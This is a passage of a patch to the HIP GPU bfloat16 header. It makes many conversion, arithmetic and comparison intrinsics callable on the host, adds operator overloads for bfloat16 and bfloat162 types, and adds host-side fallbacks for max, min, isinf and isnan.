__HOST_DEVICE__ float __low2float(const __hip_bfloat162 a) { return __bfloat162f + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Swaps both halves + */ +-__device__ __hip_bfloat162 __lowhigh2highlow(const __hip_bfloat162 a) { ++__HOST_DEVICE__ __hip_bfloat162 __lowhigh2highlow(const __hip_bfloat162 a) { + return __hip_bfloat162{a.y, a.x}; + } + +@@ -289,7 +300,7 @@ __device__ __hip_bfloat162 __lowhigh2highlow(const __hip_bfloat162 a) { + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Extracts low 16 bits from each and combines them + */ +-__device__ __hip_bfloat162 __lows2bfloat162(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ __hip_bfloat162 __lows2bfloat162(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hip_bfloat162{a.x, b.x}; + } + +@@ -297,7 +308,7 @@ __device__ __hip_bfloat162 __lows2bfloat162(const __hip_bfloat162 a, const __hip + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Reinterprets short int into a bfloat16 + */ +-__device__ __hip_bfloat16 __short_as_bfloat16(const short int a) { ++__HOST_DEVICE__ __hip_bfloat16 __short_as_bfloat16(const short int a) { + return __hip_bfloat16{(unsigned short)a}; + } + +@@ -305,7 +316,7 @@ __device__ __hip_bfloat16 __short_as_bfloat16(const short int a) { + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Reinterprets unsigned short int into a bfloat16 + */ +-__device__ __hip_bfloat16 __ushort_as_bfloat16(const unsigned short int a) { ++__HOST_DEVICE__ __hip_bfloat16 __ushort_as_bfloat16(const unsigned short int a) { + return __hip_bfloat16{a}; + } + +@@ -314,7 +325,7 @@ __device__ __hip_bfloat16 __ushort_as_bfloat16(const unsigned short int a) { + * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH + * \brief Adds two bfloat16 values + */ +-__device__ __hip_bfloat16 __hadd(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ __hip_bfloat16 __hadd(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __float2bfloat16(__bfloat162float(a) + __bfloat162float(b)); + } + +@@ -322,7 +333,7 @@ __device__ __hip_bfloat16 __hadd(const __hip_bfloat16 a, const __hip_bfloat16 b) + * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH + * \brief Subtracts two bfloat16 values + */ +-__device__ __hip_bfloat16 __hsub(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ __hip_bfloat16 __hsub(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __float2bfloat16(__bfloat162float(a) - __bfloat162float(b)); + } + +@@ -330,7 +341,7 @@ __device__ __hip_bfloat16 __hsub(const __hip_bfloat16 a, const __hip_bfloat16 b) + * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH + * \brief Divides two bfloat16 values + */ +-__device__ __hip_bfloat16 __hdiv(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ __hip_bfloat16 __hdiv(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __float2bfloat16(__bfloat162float(a) / __bfloat162float(b)); + } + +@@ -348,7 +359,7 @@ __device__ __hip_bfloat16 __hfma(const __hip_bfloat16 a, const __hip_bfloat16 b, + * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH + * \brief Multiplies two bfloat16 values + */ +-__device__ __hip_bfloat16 __hmul(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ __hip_bfloat16 __hmul(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __float2bfloat16(__bfloat162float(a) * __bfloat162float(b)); + } + +@@ -356,7 +367,7 @@ __device__ __hip_bfloat16 __hmul(const __hip_bfloat16 a, const __hip_bfloat16 b) + * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH + * \brief Negate a bfloat16 value + */ +-__device__ __hip_bfloat16 __hneg(const __hip_bfloat16 a) { ++__HOST_DEVICE__ __hip_bfloat16 __hneg(const __hip_bfloat16 a) { + auto ret = a; + ret.data ^= 0x8000; + return ret; +@@ -366,7 +377,7 @@ __device__ __hip_bfloat16 __hneg(const __hip_bfloat16 a) { + * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH + * \brief Returns absolute of a bfloat16 + */ +-__device__ __hip_bfloat16 __habs(const __hip_bfloat16 a) { ++__HOST_DEVICE__ __hip_bfloat16 __habs(const __hip_bfloat16 a) { + auto ret = a; + ret.data &= 0x7FFF; + return ret; +@@ -376,7 +387,7 @@ __device__ __hip_bfloat16 __habs(const __hip_bfloat16 a) { + * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH + * \brief Divides bfloat162 values + */ +-__device__ __hip_bfloat162 __h2div(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ __hip_bfloat162 __h2div(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hip_bfloat162{__float2bfloat16(__bfloat162float(a.x) / __bfloat162float(b.x)), + __float2bfloat16(__bfloat162float(a.y) / __bfloat162float(b.y))}; + } +@@ -385,7 +396,7 @@ __device__ __hip_bfloat162 __h2div(const __hip_bfloat162 a, const __hip_bfloat16 + * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH + * \brief Returns absolute of a bfloat162 + */ +-__device__ __hip_bfloat162 __habs2(const __hip_bfloat162 a) { ++__HOST_DEVICE__ __hip_bfloat162 __habs2(const __hip_bfloat162 a) { + return __hip_bfloat162{__habs(a.x), __habs(a.y)}; + } + +@@ -393,7 +404,7 @@ __device__ __hip_bfloat162 __habs2(const __hip_bfloat162 a) { + * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH + * \brief Adds two bfloat162 values + */ +-__device__ __hip_bfloat162 __hadd2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ __hip_bfloat162 __hadd2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hip_bfloat162{__hadd(a.x, b.x), __hadd(a.y, b.y)}; + } + +@@ -410,7 +421,7 @@ __device__ __hip_bfloat162 __hfma2(const __hip_bfloat162 a, const __hip_bfloat16 + * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH + * \brief Multiplies two bfloat162 values + */ +-__device__ __hip_bfloat162 __hmul2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ __hip_bfloat162 __hmul2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hip_bfloat162{__hmul(a.x, b.x), __hmul(a.y, b.y)}; + } + +@@ -418,7 +429,7 @@ __device__ __hip_bfloat162 __hmul2(const __hip_bfloat162 a, const __hip_bfloat16 + * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH + * \brief Converts a bfloat162 into negative + */ +-__device__ __hip_bfloat162 __hneg2(const __hip_bfloat162 a) { ++__HOST_DEVICE__ __hip_bfloat162 __hneg2(const __hip_bfloat162 a) { + return __hip_bfloat162{__hneg(a.x), __hneg(a.y)}; + } + +@@ -426,15 +437,251 @@ __device__ __hip_bfloat162 __hneg2(const __hip_bfloat162 a) { + * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH + * \brief Subtracts two bfloat162 values + */ +-__device__ __hip_bfloat162 __hsub2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ __hip_bfloat162 __hsub2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hip_bfloat162{__hsub(a.x, b.x), __hsub(a.y, b.y)}; + } + ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to multiply two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat16 operator*(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __hmul(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to multiply-assign two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat16 operator*=(__hip_bfloat16& l, const __hip_bfloat16& r) { ++ l = __hmul(l, r); ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to unary+ on a __hip_bfloat16 number ++ */ ++__HOST_DEVICE__ __hip_bfloat16 operator+(const __hip_bfloat16& l) { return l; } ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to add two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat16 operator+(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __hadd(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to negate a __hip_bfloat16 number ++ */ ++__HOST_DEVICE__ __hip_bfloat16 operator-(const __hip_bfloat16& l) { return __hneg(l); } ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to subtract two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat16 operator-(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __hsub(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to post increment a __hip_bfloat16 number ++ */ ++__HOST_DEVICE__ __hip_bfloat16 operator++(__hip_bfloat16& l, const int) { ++ auto ret = l; ++ l = __hadd(l, HIPRT_ONE_BF16); ++ return ret; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to pre increment a __hip_bfloat16 number ++ */ ++__HOST_DEVICE__ __hip_bfloat16& operator++(__hip_bfloat16& l) { ++ l = __hadd(l, HIPRT_ONE_BF16); ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to post decrement a __hip_bfloat16 number ++ */ ++__HOST_DEVICE__ __hip_bfloat16 operator--(__hip_bfloat16& l, const int) { ++ auto ret = l; ++ l = __hsub(l, HIPRT_ONE_BF16); ++ return ret; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to pre decrement a __hip_bfloat16 number ++ */ ++__HOST_DEVICE__ __hip_bfloat16& operator--(__hip_bfloat16& l) { ++ l = __hsub(l, HIPRT_ONE_BF16); ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to add-assign two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat16& operator+=(__hip_bfloat16& l, const __hip_bfloat16& r) { ++ l = l + r; ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to subtract-assign two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat16& operator-=(__hip_bfloat16& l, const __hip_bfloat16& r) { ++ l = l - r; ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to divide two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat16 operator/(const __hip_bfloat16& l, const __hip_bfloat16& r) { ++ return __hdiv(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT16_ARITH ++ * \brief Operator to divide-assign two __hip_bfloat16 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat16& operator/=(__hip_bfloat16& l, const __hip_bfloat16& r) { ++ l = l / r; ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to multiply two __hip_bfloat162 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat162 operator*(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __hmul2(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to multiply-assign two __hip_bfloat162 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat162 operator*=(__hip_bfloat162& l, const __hip_bfloat162& r) { ++ l = __hmul2(l, r); ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to unary+ on a __hip_bfloat162 number ++ */ ++__HOST_DEVICE__ __hip_bfloat162 operator+(const __hip_bfloat162& l) { return l; } ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to add two __hip_bfloat162 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat162 operator+(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __hadd2(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to negate a __hip_bfloat162 number ++ */ ++__HOST_DEVICE__ __hip_bfloat162 operator-(const __hip_bfloat162& l) { return __hneg2(l); } ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to subtract two __hip_bfloat162 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat162 operator-(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __hsub2(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to post increment a __hip_bfloat162 number ++ */ ++__HOST_DEVICE__ __hip_bfloat162 operator++(__hip_bfloat162& l, const int) { ++ auto ret = l; ++ l = __hadd2(l, {HIPRT_ONE_BF16, HIPRT_ONE_BF16}); ++ return ret; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to pre increment a __hip_bfloat162 number ++ */ ++__HOST_DEVICE__ __hip_bfloat162& operator++(__hip_bfloat162& l) { ++ l = __hadd2(l, {HIPRT_ONE_BF16, HIPRT_ONE_BF16}); ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to post decrement a __hip_bfloat162 number ++ */ ++__HOST_DEVICE__ __hip_bfloat162 operator--(__hip_bfloat162& l, const int) { ++ auto ret = l; ++ l = __hsub2(l, {HIPRT_ONE_BF16, HIPRT_ONE_BF16}); ++ return ret; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to pre decrement a __hip_bfloat162 number ++ */ ++__HOST_DEVICE__ __hip_bfloat162& operator--(__hip_bfloat162& l) { ++ l = __hsub2(l, {HIPRT_ONE_BF16, HIPRT_ONE_BF16}); ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to add-assign two __hip_bfloat162 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat162& operator+=(__hip_bfloat162& l, const __hip_bfloat162& r) { ++ l = l + r; ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to subtract-assign two __hip_bfloat162 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat162& operator-=(__hip_bfloat162& l, const __hip_bfloat162& r) { ++ l = l - r; ++ return l; ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to divide two __hip_bfloat162 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat162 operator/(const __hip_bfloat162& l, const __hip_bfloat162& r) { ++ return __h2div(l, r); ++} ++ ++/** ++ * \ingroup HIP_INTRINSIC_BFLOAT162_ARITH ++ * \brief Operator to divide-assign two __hip_bfloat162 numbers ++ */ ++__HOST_DEVICE__ __hip_bfloat162& operator/=(__hip_bfloat162& l, const __hip_bfloat162& r) { ++ l = l / r; ++ return l; ++} ++ + /** + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values + */ +-__device__ bool __heq(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __heq(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __bfloat162float(a) == __bfloat162float(b); + } + +@@ -442,7 +689,7 @@ __device__ bool __heq(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - unordered equal + */ +-__device__ bool __hequ(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hequ(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return !(__bfloat162float(a) < __bfloat162float(b)) && + !(__bfloat162float(a) > __bfloat162float(b)); + } +@@ -451,7 +698,7 @@ __device__ bool __hequ(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - greater than + */ +-__device__ bool __hgt(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hgt(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __bfloat162float(a) > __bfloat162float(b); + } + +@@ -459,7 +706,7 @@ __device__ bool __hgt(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - unordered greater than + */ +-__device__ bool __hgtu(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hgtu(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return !(__bfloat162float(a) <= __bfloat162float(b)); + } + +@@ -467,7 +714,7 @@ __device__ bool __hgtu(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - greater than equal + */ +-__device__ bool __hge(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hge(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __bfloat162float(a) >= __bfloat162float(b); + } + +@@ -475,7 +722,7 @@ __device__ bool __hge(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - unordered greater than equal + */ +-__device__ bool __hgeu(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hgeu(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return !(__bfloat162float(a) < __bfloat162float(b)); + } + +@@ -483,7 +730,7 @@ __device__ bool __hgeu(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - not equal + */ +-__device__ bool __hne(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hne(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __bfloat162float(a) != __bfloat162float(b); + } + +@@ -491,7 +738,7 @@ __device__ bool __hne(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - unordered not equal + */ +-__device__ bool __hneu(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hneu(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return !(__bfloat162float(a) == __bfloat162float(b)); + } + +@@ -499,23 +746,31 @@ __device__ bool __hneu(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - return max + */ +-__device__ __hip_bfloat16 __hmax(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ __hip_bfloat16 __hmax(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++#if __HIP_DEVICE_COMPILE__ + return __float2bfloat16(__ocml_fmax_f32(__bfloat162float(a), __bfloat162float(b))); ++#else ++ return __float2bfloat16(std::max(__bfloat162float(a), __bfloat162float(b))); ++#endif + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - return min + */ +-__device__ __hip_bfloat16 __hmin(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ __hip_bfloat16 __hmin(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++#if __HIP_DEVICE_COMPILE__ + return __float2bfloat16(__ocml_fmin_f32(__bfloat162float(a), __bfloat162float(b))); ++#else ++ return __float2bfloat16(std::min(__bfloat162float(a), __bfloat162float(b))); ++#endif + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - less than operator + */ +-__device__ bool __hlt(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hlt(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __bfloat162float(a) < __bfloat162float(b); + } + +@@ -523,15 +778,15 @@ __device__ bool __hlt(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - unordered less than + */ +-__device__ bool __hltu(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hltu(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return !(__bfloat162float(a) >= __bfloat162float(b)); + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP +- * \brief Compare two bfloat162 values - less than ++ * \brief Compare two bfloat162 values - less than equal + */ +-__device__ bool __hle(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hle(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __bfloat162float(a) <= __bfloat162float(b); + } + +@@ -539,7 +794,7 @@ __device__ bool __hle(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Compare two bfloat162 values - unordered less than equal + */ +-__device__ bool __hleu(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ bool __hleu(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return !(__bfloat162float(a) > __bfloat162float(b)); + } + +@@ -547,19 +802,33 @@ __device__ bool __hleu(const __hip_bfloat16 a, const __hip_bfloat16 b) { + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Checks if number is inf + */ +-__device__ int __hisinf(const __hip_bfloat16 a) { return __ocml_isinf_f32(__bfloat162float(a)); } ++__HOST_DEVICE__ int __hisinf(const __hip_bfloat16 a) { ++ unsigned short sign = a.data & 0x8000U; ++#if __HIP_DEVICE_COMPILE__ ++ int res = __ocml_isinf_f32(__bfloat162float(a)); ++#else ++ int res = std::isinf(__bfloat162float(a)) ? 1 : 0; ++#endif ++ return (res == 0) ? res : ((sign != 0U) ? -res : res); ++} + + /** + * \ingroup HIP_INTRINSIC_BFLOAT16_COMP + * \brief Checks if number is nan + */ +-__device__ bool __hisnan(const __hip_bfloat16 a) { return __ocml_isnan_f32(__bfloat162float(a)); } ++__HOST_DEVICE__ bool __hisnan(const __hip_bfloat16 a) { ++#if __HIP_DEVICE_COMPILE__ ++ return __ocml_isnan_f32(__bfloat162float(a)); ++#else ++ return std::isnan(__bfloat162float(a)); ++#endif ++} + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Checks if two numbers are equal + */ +-__device__ bool __hbeq2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbeq2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __heq(a.x, b.x) && __heq(a.y, b.y); + } + +@@ -567,7 +836,7 @@ __device__ bool __hbeq2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Checks if two numbers are equal - unordered + */ +-__device__ bool __hbequ2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbequ2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hequ(a.x, b.x) && __hequ(a.y, b.y); + } + +@@ -575,7 +844,7 @@ __device__ bool __hbequ2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a >= b + */ +-__device__ bool __hbge2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbge2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hge(a.x, b.x) && __hge(a.y, b.y); + } + +@@ -583,7 +852,7 @@ __device__ bool __hbge2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a >= b - unordered + */ +-__device__ bool __hbgeu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbgeu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hgeu(a.x, b.x) && __hgeu(a.y, b.y); + } + +@@ -591,7 +860,7 @@ __device__ bool __hbgeu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a > b + */ +-__device__ bool __hbgt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbgt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hgt(a.x, b.x) && __hgt(a.y, b.y); + } + +@@ -599,7 +868,7 @@ __device__ bool __hbgt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a > b - unordered + */ +-__device__ bool __hbgtu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbgtu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hgtu(a.x, b.x) && __hgtu(a.y, b.y); + } + +@@ -607,7 +876,7 @@ __device__ bool __hbgtu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a <= b + */ +-__device__ bool __hble2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hble2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hle(a.x, b.x) && __hle(a.y, b.y); + } + +@@ -615,7 +884,7 @@ __device__ bool __hble2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a <= b - unordered + */ +-__device__ bool __hbleu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbleu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hleu(a.x, b.x) && __hleu(a.y, b.y); + } + +@@ -623,7 +892,7 @@ __device__ bool __hbleu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a < b + */ +-__device__ bool __hblt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hblt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hlt(a.x, b.x) && __hlt(a.y, b.y); + } + +@@ -631,7 +900,7 @@ __device__ bool __hblt2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a < b - unordered + */ +-__device__ bool __hbltu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbltu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hltu(a.x, b.x) && __hltu(a.y, b.y); + } + +@@ -639,7 +908,7 @@ __device__ bool __hbltu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a != b + */ +-__device__ bool __hbne2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbne2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hne(a.x, b.x) && __hne(a.y, b.y); + } + +@@ -647,7 +916,7 @@ __device__ bool __hbne2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a != b + */ +-__device__ bool __hbneu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ bool __hbneu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + return __hneu(a.x, b.x) && __hneu(a.y, b.y); + } + +@@ -655,84 +924,175 @@ __device__ bool __hbneu2(const __hip_bfloat162 a, const __hip_bfloat162 b) { + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a != b, returns 1.0 if equal, otherwise 0.0 + */ +-__device__ __hip_bfloat162 __heq2(const __hip_bfloat162 a, const __hip_bfloat162 b) { +- return __hip_bfloat162{{__heq(a.x, b.x) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}, +- {__heq(a.y, b.y) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}}; ++__HOST_DEVICE__ __hip_bfloat162 __heq2(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++ return __hip_bfloat162{{__heq(a.x, b.x) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}, ++ {__heq(a.y, b.y) ? HIPRT_ONE_BF16 : HIPRT_ZERO_BF16}}; + } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_COMP + * \brief Check for a >= b, returns 1.0 if greater than equal, otherwise 0.0 + */ +-__device__ __hip_bfloat162 __hge2(const __hip_bfloat162 a, const __hip_bfloat162 b) { +- return __hip_bfloat162{{__hge(a.x, b.x) ? __float2bfloat16(1.0f) : __float2bfloat16(0.0f)}, +- {__hge(a.y, b.y) ? 